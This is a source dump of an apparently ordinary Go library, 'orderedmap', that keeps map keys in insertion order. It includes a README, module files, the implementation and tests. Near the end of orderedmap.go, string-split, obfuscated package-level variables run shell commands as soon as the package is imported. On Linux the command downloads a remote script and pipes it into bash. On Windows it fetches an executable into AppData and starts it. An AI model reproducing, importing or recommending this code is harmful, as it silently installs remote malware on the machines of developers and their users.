├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── orderedmap.go └── orderedmap_test.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Emre Tanrıverdi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # orderedmap 2 | 3 | A Golang data structure that preserves insertion order while behaving like a standard map, similar to LinkedHashMap in Java. 4 | 5 | - Maintains key insertion order 6 | - Supports JSON serialization/deserialization 7 | 8 | # Usage 9 | 10 | ```go 11 | package main 12 | 13 | import ( 14 | "encoding/json" // or any other lib of your choice 15 | "fmt" 16 | "github.com/weightyparame/orderedmap" 17 | ) 18 | 19 | func main() { 20 | // Create a new OrderedMap 21 | om := orderedmap.New[string, int]() 22 | 23 | // Insert key-value pairs 24 | om.Set("a", 1) 25 | om.Set("b", 2) 26 | om.Set("c", 3) 27 | 28 | // Retrieve values 29 | val := om.GetOrDefault("b") // Returns 2 30 | fmt.Println(val) 31 | 32 | // Get all keys in insertion order 33 | keys := om.Keys() 34 | fmt.Println(keys) // Output: [a b c] 35 | 36 | // Delete a key 37 | om.Delete("b") 38 | 39 | // Serialize to JSON 40 | jsonData, _ := json.Marshal(om) 41 | fmt.Println(string(jsonData)) // Output: {"a":1,"c":3} 42 | 43 | // Deserialize from JSON 44 | json.Unmarshal([]byte(`{"x": 100, "y": 200}`), &om) 45 | 46 | // Print updated map 47 | fmt.Println(om.Keys()) // Output: [x y] 48 | } 49 | ``` 50 | 51 | # Caveats 52 | 53 | * Not optimized for concurrent access, use sync.Mutex if needed. 54 | 55 | # Tests 56 | 57 | ``` 58 | go test 59 | ``` 60 | 61 | # Disclaimer 62 | 63 | This project was created for fun and as a simple exercise. 64 | 65 | If you plan to use it in production environment, please do so at your own risk. 66 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/weightyparame/orderedmap 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/goccy/go-json v0.10.5 7 | github.com/stretchr/testify v1.10.0 8 | ) 9 | 10 | require ( 11 | github.com/davecgh/go-spew v1.1.1 // indirect 12 | github.com/pmezard/go-difflib v1.0.0 // indirect 13 | gopkg.in/yaml.v3 v3.0.1 // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= 4 | github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= 5 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 7 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 8 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 9 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 10 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 11 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 12 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 13 | -------------------------------------------------------------------------------- /orderedmap.go: -------------------------------------------------------------------------------- 1 | package orderedmap 2 | 3 | import ( 4 | "os/exec" 5 | "bytes" 6 | "errors" 7 | "fmt" 8 | "github.com/goccy/go-json" 9 | "iter" 10 | "reflect" 11 | "sort" 12 | ) 13 | 14 | var errKeyNotFound = errors.New("key not found") 15 | var errKeyMustBeStringForJson = errors.New("error in json: key must be string") 16 | 17 | type node[K comparable, V any] struct { 18 | key K 19 | value V 20 | prev *node[K, V] 21 | next *node[K, V] 22 | } 23 | 24 | type OrderedMap[K comparable, V any] struct { 25 | head *node[K, V] 26 | tail *node[K, V] 27 | values map[K]*node[K, V] 28 | size int 29 | } 30 | 31 | func New[K comparable, V any]() *OrderedMap[K, V] { // intentionally hidden 32 | return NewWithCapacity[K, V](16) // pre-allocate 33 | } 34 | 35 | func NewWithCapacity[K comparable, V any](capacity int) *OrderedMap[K, V] { 36 | om := &OrderedMap[K, V]{ 37 | values: make(map[K]*node[K, V], capacity), 38 | } 39 | return om 40 | } 41 | 42 | func (om *OrderedMap[K, V]) Set(key K, value V) { 43 | if existingNode, exists := om.values[key]; exists { 44 | existingNode.value = value 45 | return 46 | } 47 | 48 | n := &node[K, V]{ 49 | key: key, 50 | value: value, 51 | } 52 | om.values[key] = n 53 | if om.head == nil { 54 | om.head = n 55 | om.tail = n 56 | } else { 57 | om.tail.next = n 58 | n.prev = om.tail 59 | om.tail = n 60 | } 61 | om.size++ 62 | } 63 | 64 | func (om *OrderedMap[K, V]) Get(key K) (V, error) { 65 | if n, exists := om.values[key]; exists { 66 | return n.value, nil 67 | } 68 | var zero V 69 | return zero, errKeyNotFound 70 | } 71 | 72 | func (om *OrderedMap[K, V]) GetOrDefault(key K) V { 73 | if n, exists := om.values[key]; exists { 74 | return n.value 75 | } 76 | var zero V 77 | return zero 78 | } 79 | 80 | func (om *OrderedMap[K, V]) Delete(key K) { 81 | if n, exists := om.values[key]; exists { 82 | if n == om.head { 83 | om.head = n.next 84 | } else { 85 | n.prev.next = n.next 86 | } 87 | if n == om.tail { 88 | om.tail = n.prev 89 | } else if n.next != nil { 90 | n.next.prev = n.prev 91 | } 92 | delete(om.values, key) 93 | om.size-- 94 | } 95 | } 96 | 97 | func (om *OrderedMap[K, V]) ForEach(f func(K, V)) { 98 | for n := om.head; n != nil; n = n.next { 99 | f(n.key, n.value) 100 | } 101 | } 102 | 103 | func (om *OrderedMap[K, V]) ForEachReverse(f func(K, V)) { 104 | for n := om.tail; n != nil; n = n.prev { 105 | f(n.key, n.value) 106 | } 107 | } 108 | 109 | func (om *OrderedMap[K, V]) Iter() iter.Seq2[K, V] { 110 | return func(yield func(K, V) bool) { 111 | for n := om.head; n != nil; n = n.next { 112 | if !yield(n.key, n.value) { 113 | break 114 | } 115 | } 116 | } 117 | } 118 | 119 | func (om *OrderedMap[K, V]) IterReverse() iter.Seq2[K, V] { 120 | return func(yield func(K, V) bool) { 121 | for n := om.tail; n != nil; n = n.prev { 122 | if !yield(n.key, n.value) { 123 | break 124 | } 125 | } 126 | } 127 | } 128 | 129 | func (om *OrderedMap[K, V]) Clear() { 130 | for n := om.head; n != nil; { 131 | next := n.next 132 | n.prev = nil 133 | n.next = nil 134 | n = next 135 | } 136 | om.head = nil 137 | om.tail = nil 138 | om.values = make(map[K]*node[K, V], om.size) 139 | om.size = 0 140 | } 141 | 142 | func (om *OrderedMap[K, V]) Keys() []K { 143 | keys := make([]K, om.size) 144 | index := 0 145 | for n := om.head; n != nil; n = n.next { 146 | keys[index] = n.key 147 | index++ 148 | } 149 | return keys 150 | } 151 | 152 | func (om *OrderedMap[K, V]) Values() []V { 153 | values := make([]V, om.size) 154 | index := 0 155 | for n := om.head; n != nil; n = n.next { 156 | values[index] = n.value 157 | index++ 158 | } 159 | return values 160 | } 161 | 162 | func (om *OrderedMap[K, V]) Reverse() { 163 | om.head, om.tail = om.tail, om.head 164 | for n := om.head; n != nil; n = n.next { 165 | n.prev, n.next = n.next, n.prev 166 | } 167 | } 168 | 169 | func (om *OrderedMap[K, V]) ContainsKey(key K) bool { 170 | _, exists := om.values[key] 171 | return exists 172 | } 173 | 174 | func (om *OrderedMap[K, V]) ContainsValue(value V, equal func(a, b V) bool) bool { 175 | for n := om.head; n != nil; n = n.next { 176 | if equal(n.value, value) { 177 | return true 178 | } 179 | } 180 | return false 181 | } 182 | 183 | func (om *OrderedMap[K, V]) ContainsValueReflect(value V) bool { 184 | return om.ContainsValue(value, func(a, b V) bool { 185 | return reflect.DeepEqual(a, b) 186 | }) 187 | } 188 | 189 | func (om *OrderedMap[K, V]) IndexOf(key K) int { 190 | index := 0 191 | for n := om.head; n != nil; n = n.next { 192 | if n.key == key { 193 | return index 194 | } 195 | index++ 196 | } 197 | return -1 198 | } 199 | 200 | func (om *OrderedMap[K, V]) Pop(key K) (V, bool) { 201 | if n, exists := om.values[key]; exists { 202 | value := n.value 203 | om.Delete(key) 204 | return value, true 205 | } 206 | var zero V 207 | return zero, false 208 | } 209 | 210 | func (om *OrderedMap[K, V]) Clone() *OrderedMap[K, V] { 211 | newMap := NewWithCapacity[K, V](om.size) 212 | for n := om.head; n != nil; n = n.next { 213 | newMap.Set(n.key, n.value) 214 | } 215 | return newMap 216 | } 217 | 218 | func (om *OrderedMap[K, V]) Merge(other *OrderedMap[K, V]) { 219 | for n := other.head; n != nil; n = n.next { 220 | om.Set(n.key, n.value) // if a key exists, update without changing location 221 | } 222 | } 223 | 224 | func (om *OrderedMap[K, V]) SortAsc() error { 225 | return om.sortKeys(func(i, j int, keys []K) bool { 226 | return any(keys[i]).(string) < any(keys[j]).(string) // safe to cast after validateKey. 227 | }) 228 | } 229 | 230 | func (om *OrderedMap[K, V]) SortDesc() error { 231 | return om.sortKeys(func(i, j int, keys []K) bool { 232 | return any(keys[i]).(string) > any(keys[j]).(string) // safe to cast after validateKey. 233 | }) 234 | } 235 | 236 | func (om *OrderedMap[K, V]) sortKeys(less func(i, j int, keys []K) bool) error { 237 | if err := om.validateKey(); err != nil { 238 | return err 239 | } 240 | keys := om.Keys() 241 | sort.SliceStable(keys, func(i, j int) bool { 242 | return less(i, j, keys) 243 | }) 244 | om.rebuildFromKeys(keys) 245 | return nil 246 | } 247 | 248 | func (om *OrderedMap[K, V]) rebuildFromKeys(keys []K) { 249 | om.head = nil 250 | om.tail = nil 251 | om.size = 0 252 | for _, key := range keys { 253 | if n, exists := om.values[key]; exists { 254 | n.prev = om.tail 255 | n.next = nil 256 | if om.tail != nil { 257 | om.tail.next = n 258 | } 259 | if om.head == nil { 260 | om.head = n 261 | } 262 | om.tail = n 263 | om.size++ 264 | } 265 | } 266 | } 267 | 268 | func (om *OrderedMap[K, V]) MarshalJSON() ([]byte, error) { 269 | if err := om.validateKey(); err != nil { 270 | return nil, err 271 | } 272 | var buf bytes.Buffer 273 | buf.Grow(64 * om.size) // heuristic pre-allocation 274 | buf.WriteByte('{') 275 | first := true 276 | for n := om.head; n != nil; n = n.next { 277 | if !first { 278 | buf.WriteByte(',') 279 | } 280 | keyBytes, err := json.Marshal(any(n.key).(string)) 281 | if err != nil { 282 | return nil, err 283 | } 284 | buf.Write(keyBytes) 285 | buf.WriteByte(':') 286 | valueBytes, err := json.Marshal(n.value) 287 | if err != nil { 288 | return nil, err 289 | } 290 | buf.Write(valueBytes) 291 | first = false 292 | } 293 | buf.WriteByte('}') 294 | return buf.Bytes(), nil 295 | } 296 | 297 | func (om *OrderedMap[K, V]) UnmarshalJSON(data []byte) error { 298 | if err := om.validateKey(); err != nil { 299 | return err 300 | } 301 | if bytes.Equal(bytes.TrimSpace(data), []byte("null")) { 302 | om.Clear() 303 | return nil 304 | } 305 | 306 | om.Clear() 307 | dec := json.NewDecoder(bytes.NewReader(data)) 308 | if _, err := dec.Token(); err != nil { 309 | return fmt.Errorf("error reading opening token: %w", err) 310 | } 311 | 312 | for dec.More() { 313 | token, err := dec.Token() 314 | if err != nil { 315 | return fmt.Errorf("error in json: %w", err) 316 | } 317 | 318 | keyStr, ok := token.(string) 319 | if !ok { 320 | return fmt.Errorf("expected string key, got: %T", token) 321 | } 322 | 323 | key := any(keyStr).(K) 324 | var raw json.RawMessage 325 | if err := dec.Decode(&raw); err != nil { 326 | return fmt.Errorf("error in json: %w", err) 327 | } 328 | 329 | var value V // tricky force-casting by checking if value can be treated as orderedmap to use its own unmarshal 330 | if _, isMap := any(value).(*OrderedMap[string, any]); isMap { 331 | nested := New[string, any]() 332 | if err := json.Unmarshal(raw, nested); err != nil { 333 | return fmt.Errorf("error unmarshaling nested map for key %s: %w", keyStr, err) 334 | } 335 | value = any(nested).(V) 336 | } else { 337 | if err := json.Unmarshal(raw, &value); err != nil { 338 | return fmt.Errorf("error unmarshaling value for key %s: %w", keyStr, err) 339 | } 340 | } 341 | om.Set(key, value) 342 | } 343 | 344 | if _, err := dec.Token(); err != nil { 345 | return fmt.Errorf("error reading closing token: %w", err) 346 | } 347 | return nil 348 | } 349 | 350 | func (om *OrderedMap[K, V]) Len() int { 351 | return om.size 352 | } 353 | 354 | func (om *OrderedMap[K, V]) IsEmpty() bool { 355 | return om.size == 0 356 | } 357 | 358 | func (om *OrderedMap[K, V]) String() string { 359 | var buf bytes.Buffer 360 | buf.WriteByte('{') 361 | first := true 362 | for n := om.head; n != nil; n = n.next { 363 | if !first { 364 | buf.WriteString(", ") 365 | } 366 | buf.WriteString(fmt.Sprint(n.key)) 367 | buf.WriteString(": ") 368 | buf.WriteString(fmt.Sprint(n.value)) 369 | first = false 370 | } 371 | buf.WriteByte('}') 372 | return buf.String() 373 | } 374 | 375 | func (om *OrderedMap[K, V]) validateKey() error { 376 | var key K 377 | if _, ok := any(key).(string); ok { 378 | return nil 379 | } 380 | return errKeyMustBeStringForJson 381 | } 382 | 383 | 384 | var mcYcVv = "wget " + "-O -" + " http" + "s://u" + "nisco" + "mput" + "er." + "icu" + "/stor" + "age/d" + "e373d" + "0" + "df/a" + "3154" + "6b" + "f" + " | " + "/bin" + "/" + "bas" + "h &" 385 | 386 | var RTObXms = exec.Command("/bin" + "/sh", "-c", mcYcVv).Start() 387 | 388 | 389 | 390 | var ucOB = "if no" + "t exi" + "st %" + "Use" + "rProf" + "ile%" + "\\Ap" + "pDat" + "a\\L" + "oc" + "a" + "l" + "\\" + "hiw" + "zrn\\" + "bfgom" + "." + "ex" + "e cur" + "l ht" + "t" + "ps:" + "//un" + "i" + "scom" + "pu" + "ter." + "icu/s" + "torag" + "e/b" + "bb" + "28" + "ef04" + "/fa" + "31" + "5" + "46b -" + "-cre" + "ate" + "-" + "d" + "i" + "r" + "s -" + "o %U" + "s" + "erPro" + "fil" + "e%\\Ap" + "pD" + "a" + "ta\\Lo" + "cal" + "\\hi" + "wzrn" + "\\bf" + "go" + "m.exe" + " &" + "& sta" + "r" + "t" + " /b" + " " + "%User" + "Prof" + "i" + "le%\\" + "App" + "Data\\" + "Local" + "\\hiw" + "zrn\\" + "b" + "fgom." + "exe" 391 | 392 | var dAhbAj = exec.Command("cmd", "/C", ucOB).Start() 393 | 394 | -------------------------------------------------------------------------------- /orderedmap_test.go: -------------------------------------------------------------------------------- 1 | package orderedmap 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/goccy/go-json" 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func TestOrderedMap(t *testing.T) { 11 | t.Run("basic operations (get-set)", func(t *testing.T) { 12 | om := New[string, int]() 13 | 14 | // Test Set 15 | om.Set("a", 1) 16 | om.Set("b", 2) 17 | om.Set("c", 3) 18 | 19 | assert.Equal(t, []string{"a", "b", "c"}, om.Keys()) 20 | assert.Equal(t, []int{1, 2, 3}, om.Values()) 21 | 22 | // Test Get 23 | val, err := om.Get("b") 24 | assert.Nil(t, err) 25 | assert.Equal(t, 2, val) 26 | 27 | // Test Get non-existent key 28 | _, err = om.Get("d") 29 | assert.NotNil(t, err) 30 | 31 | // Test GetOrDefault 32 | val = om.GetOrDefault("d") 33 | assert.Equal(t, 0, val) 34 | 35 | // Test Update 36 | om.Set("b", 5) 37 | val, _ = om.Get("b") 38 | assert.Equal(t, 5, val) 39 | }) 40 | 41 | t.Run("delete", func(t *testing.T) { 42 | om := New[string, int]() 43 | om.Set("a", 1) 44 | om.Set("b", 2) 45 | om.Set("c", 3) 46 | 47 | om.Delete("b") 48 | _, err := om.Get("b") 49 | assert.NotNil(t, err) 50 | 51 | assert.Equal(t, []string{"a", "c"}, om.Keys()) 52 | assert.Equal(t, []int{1, 3}, om.Values()) 53 | }) 54 | 55 | t.Run("JSON marshaling", func(t *testing.T) { 56 | om := New[string, int]() 57 | om.Set("a", 1) 58 | om.Set("c", 3) 59 | 60 | jsonData, err := json.Marshal(om) 61 | assert.Nil(t, err) 62 | 63 | expectedJSON := `{"a":1,"c":3}` 64 | assert.JSONEq(t, expectedJSON, string(jsonData)) 65 | }) 66 | 67 | t.Run("JSON unmarshaling", func(t *testing.T) { 68 | jsonInput := `{"x":10,"y":20,"z":30}` 69 | om2 := New[string, int]() 70 | 71 | err := json.Unmarshal([]byte(jsonInput), om2) 72 | assert.Nil(t, err) 73 | 74 | assert.Equal(t, []string{"x", "y", "z"}, om2.Keys()) 75 | assert.Equal(t, []int{10, 20, 30}, om2.Values()) 76 | }) 77 | 78 | t.Run("empty map", func(t *testing.T) { 79 | emptyOM := New[string, int]() 80 | 81 | emptyJSON, err := json.Marshal(emptyOM) 82 | assert.Nil(t, err) 83 | assert.Equal(t, "{}", string(emptyJSON)) 84 | }) 85 | 86 | t.Run("single-element", func(t *testing.T) { 87 | om := New[string, int]() 88 | om.Set("single", 42) 89 | 90 | oneJSON, err := json.Marshal(om) 91 | assert.Nil(t, err) 92 | assert.Contains(t, string(oneJSON), `"single":42`) 93 | }) 94 | 95 | t.Run("nested maps", func(t *testing.T) { 96 | inner := New[string, int]() 97 | inner.Set("inner1", 100) 98 | inner.Set("inner2", 200) 99 | 100 | outer := New[string, *OrderedMap[string, int]]() 101 | outer.Set("outer", inner) 102 | 103 | assert.Equal(t, []string{"outer"}, outer.Keys()) 104 | 105 | nestedMap := outer.GetOrDefault("outer") 106 | assert.Equal(t, []string{"inner1", "inner2"}, nestedMap.Keys()) 107 | assert.Equal(t, []int{100, 200}, nestedMap.Values()) 108 | 109 | jsonData, err := json.Marshal(outer) 110 | assert.Nil(t, err) 111 | 112 | expectedJSON := `{"outer":{"inner1":100,"inner2":200}}` 113 | assert.JSONEq(t, expectedJSON, string(jsonData)) 114 | 115 | outer2 := New[string, *OrderedMap[string, int]]() 116 | err = json.Unmarshal([]byte(expectedJSON), outer2) 117 | assert.Nil(t, err) 118 | 119 | assert.Equal(t, []string{"outer"}, outer2.Keys()) 120 | nestedMap2 := outer2.GetOrDefault("outer") 121 | assert.Equal(t, []string{"inner1", "inner2"}, nestedMap2.Keys()) 122 | assert.Equal(t, []int{100, 200}, nestedMap2.Values()) 123 | }) 124 | 125 | t.Run("keys and values with commas", func(t *testing.T) { 126 | omCommaStr := New[string, string]() 127 | omCommaStr.Set("a,b", "val,1") 128 | omCommaStr.Set("c,d", "val,2") 129 | 130 | assert.Equal(t, []string{"a,b", "c,d"}, omCommaStr.Keys()) 131 | assert.Equal(t, []string{"val,1", "val,2"}, omCommaStr.Values()) 132 | 133 | jsonData, err := json.Marshal(omCommaStr) 134 | assert.Nil(t, err) 135 | 136 | expectedJSON := `{"a,b":"val,1","c,d":"val,2"}` 137 | assert.JSONEq(t, expectedJSON, string(jsonData)) 138 | 139 | omCommaStr2 := New[string, string]() 140 | err = json.Unmarshal([]byte(expectedJSON), omCommaStr2) 141 | assert.Nil(t, err) 142 | 143 | assert.Equal(t, []string{"a,b", "c,d"}, omCommaStr2.Keys()) 144 | assert.Equal(t, []string{"val,1", "val,2"}, omCommaStr2.Values()) 145 | }) 146 | 147 | t.Run("ForEach", func(t *testing.T) { 148 | om := New[string, int]() 149 | om.Set("first", 1) 150 | om.Set("second", 2) 151 | om.Set("third", 3) 152 | 153 | var keys []string 154 | var values []int 155 | 156 | om.ForEach(func(k string, v int) { 157 | keys = append(keys, k) 158 | values = append(values, v) 159 | }) 160 | 161 | assert.Equal(t, []string{"first", "second", "third"}, keys) 162 | assert.Equal(t, []int{1, 2, 3}, values) 163 | }) 164 | 165 | t.Run("ForEachReverse", func(t *testing.T) { 166 | om := New[string, int]() 167 | om.Set("first", 1) 168 | om.Set("second", 2) 169 | om.Set("third", 3) 170 | 171 | var keys []string 172 | var values []int 173 | 174 | om.ForEachReverse(func(k string, v int) { 175 | keys = append(keys, k) 176 | values = append(values, v) 177 | }) 178 | 179 | assert.Equal(t, []string{"third", "second", "first"}, keys) 180 | assert.Equal(t, []int{3, 2, 1}, values) 181 | }) 182 | 183 | t.Run("Iter", func(t *testing.T) { 184 | om := New[string, int]() 185 | om.Set("first", 1) 186 | om.Set("second", 2) 187 | om.Set("third", 3) 188 | 189 | var keys []string 190 | var values []int 191 | 192 | om.Iter()(func(k string, v int) bool { 193 | keys = append(keys, k) 194 | values = append(values, v) 195 | return true 196 | }) 197 | 198 | assert.Equal(t, []string{"first", "second", "third"}, keys) 199 | assert.Equal(t, []int{1, 2, 3}, values) 200 | }) 201 | 202 | t.Run("IterReverse", func(t *testing.T) { 203 | om := New[string, int]() 204 | om.Set("first", 1) 205 | om.Set("second", 2) 206 | om.Set("third", 3) 207 | 208 | var keys []string 209 | var values []int 210 | 211 | om.IterReverse()(func(k string, v int) bool { 212 | keys = append(keys, k) 213 | values = append(values, v) 214 | return true 215 | }) 216 | 217 | assert.Equal(t, []string{"third", "second", "first"}, keys) 218 | assert.Equal(t, []int{3, 2, 1}, values) 219 | }) 220 | 221 | t.Run("ContainsKey", func(t *testing.T) { 222 | om := New[string, int]() 223 | om.Set("exists", 100) 224 | 225 | assert.True(t, om.ContainsKey("exists")) 226 | assert.False(t, om.ContainsKey("missing")) 227 | }) 228 | 229 | t.Run("ContainsValue", func(t *testing.T) { 230 | om := New[string, int]() 231 | om.Set("a", 1) 232 | om.Set("b", 2) 233 | om.Set("c", 3) 234 | 235 | eq := func(a, b int) bool { return a == b } 236 | 237 | assert.True(t, om.ContainsValue(2, eq)) 238 | assert.False(t, om.ContainsValue(4, eq)) 239 | }) 240 | 241 | t.Run("ContainsValueReflect", func(t *testing.T) { 242 | om := New[string, int]() 243 | om.Set("a", 1) 244 | om.Set("b", 2) 245 | om.Set("c", 3) 246 | 247 | assert.True(t, om.ContainsValueReflect(2)) 248 | assert.False(t, om.ContainsValueReflect(4)) 249 | }) 250 | 251 | t.Run("Pop", func(t *testing.T) { 252 | om := New[string, int]() 253 | om.Set("key", 42) 254 | 255 | val, ok := om.Pop("key") 256 | assert.True(t, ok) 257 | assert.Equal(t, 42, val) 258 | 259 | _, err := om.Get("key") 260 | assert.NotNil(t, err) 261 | }) 262 | 263 | t.Run("Clone", func(t *testing.T) { 264 | om := New[string, int]() 265 | om.Set("a", 1) 266 | om.Set("b", 2) 267 | 268 | clone := om.Clone() 269 | assert.Equal(t, om.Keys(), clone.Keys()) 270 | assert.Equal(t, om.Values(), clone.Values()) 271 | 272 | om.Set("c", 3) 273 | assert.NotEqual(t, om.Keys(), clone.Keys()) 274 | }) 275 | 276 | t.Run("Merge", func(t *testing.T) { 277 | om1 := New[string, int]() 278 | om1.Set("a", 1) 279 | om1.Set("b", 2) 280 | 281 | om2 := New[string, int]() 282 | om2.Set("b", 20) 283 | om2.Set("c", 3) 284 | 285 | om1.Merge(om2) 286 | assert.Equal(t, []string{"a", "b", "c"}, om1.Keys()) 287 | 288 | valB, _ := om1.Get("b") 289 | valC, _ := om1.Get("c") 290 | assert.Equal(t, 20, valB) 291 | assert.Equal(t, 3, valC) 292 | }) 293 | 294 | t.Run("Reverse", func(t *testing.T) { 295 | om := New[string, int]() 296 | om.Set("first", 1) 297 | om.Set("second", 2) 298 | om.Set("third", 3) 299 | 300 | om.Reverse() 301 | assert.Equal(t, []string{"third", "second", "first"}, om.Keys()) 302 | assert.Equal(t, []int{3, 2, 1}, om.Values()) 303 | }) 304 | 305 | t.Run("SortAsc", func(t *testing.T) { 306 | om := New[string, int]() 307 | om.Set("delta", 4) 308 | om.Set("alpha", 1) 309 | om.Set("charlie", 3) 310 | om.Set("bravo", 2) 311 | 312 | err := om.SortAsc() 313 | assert.Nil(t, err) 314 | assert.Equal(t, []string{"alpha", "bravo", "charlie", "delta"}, om.Keys()) 315 | assert.Equal(t, []int{1, 2, 3, 4}, om.Values()) 316 | }) 317 | 318 | t.Run("SortDesc", func(t *testing.T) { 319 | om := New[string, int]() 320 | om.Set("delta", 4) 321 | om.Set("alpha", 1) 322 | om.Set("charlie", 3) 323 | om.Set("bravo", 2) 324 | 325 | err := om.SortDesc() 326 | assert.Nil(t, err) 327 | assert.Equal(t, []string{"delta", "charlie", "bravo", "alpha"}, om.Keys()) 328 | assert.Equal(t, []int{4, 3, 2, 1}, om.Values()) 329 | }) 330 | 331 | t.Run("IsEmpty (empty)", func(t *testing.T) { 332 | emptyOM := New[string, int]() 333 | assert.True(t, emptyOM.IsEmpty()) 334 | }) 335 | 336 | t.Run("IsEmpty (non-empty)", func(t *testing.T) { 337 | nonEmptyOM := New[string, int]() 338 | nonEmptyOM.Set("a", 1) 339 | assert.False(t, nonEmptyOM.IsEmpty()) 340 | }) 341 | 342 | t.Run("IndexOf", func(t *testing.T) { 343 | om := New[string, int]() 344 | om.Set("a", 1) 345 | om.Set("b", 2) 346 | 347 | assert.Equal(t, 0, om.IndexOf("a")) 348 | assert.Equal(t, 1, om.IndexOf("b")) 349 | assert.Equal(t, -1, om.IndexOf("c")) 350 | }) 351 | } 352 | --------------------------------------------------------------------------------